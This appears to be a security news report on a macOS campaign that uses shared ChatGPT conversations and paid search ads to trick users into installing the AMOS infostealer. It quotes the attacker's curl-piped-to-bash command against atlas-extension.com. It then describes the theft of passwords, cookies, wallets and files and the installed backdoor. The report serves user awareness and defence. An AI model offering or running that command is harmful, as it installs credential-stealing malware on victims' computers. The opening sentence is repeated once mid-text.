A new cybersecurity threat has been identified targeting macOS users through a malicious campaign exploiting the official ChatGPT website. The attackers employ a technique known as ClickFix to distribute the AMOS infostealer by posting deceptive installation guides on the chatgpt.com domain.
This campaign exploits ChatGPT's chat-sharing feature, allowing users to create and share public conversations via links that seem to originate from OpenAI's official site. The attack initiates through paid search advertisements on Google. Users searching for "chatgpt atlas" may encounter sponsored links that misleadingly appear to direct them to the official ChatGPT domain.
The advertisement title, "ChatGPT™ Atlas for macOS – Download ChatGPT Atlas for Mac," lends authenticity to the malicious link. Upon clicking, users are directed to a shared ChatGPT conversation containing false installation instructions for a fictitious Atlas browser.
The fraudulent guide instructs users to open the Terminal application on their Mac and execute a specific command:
A new cybersecurity threat has been identified targeting macOS users through a malicious campaign exploiting the official ChatGPT website.
/bin/bash -c "$(curl -fsSL 'https://atlas-extension.com/gt')"
This command retrieves a malicious script from the attacker's server at atlas-extension.com and executes it on the user's device. The script prompts for the system password, continuously requesting it until correctly entered. Once acquired, the script installs the AMOS infostealer using the credentials.
AMOS is capable of extracting passwords, cookies, and browser data from Chrome and Firefox. It also targets cryptocurrency wallet information from applications like Electrum, Coinomi, and Exodus. Additionally, it collects files with TXT, PDF, and DOCX extensions from folders such as Desktop, Documents, and Downloads. A backdoor is installed for persistent remote access to the infected system.
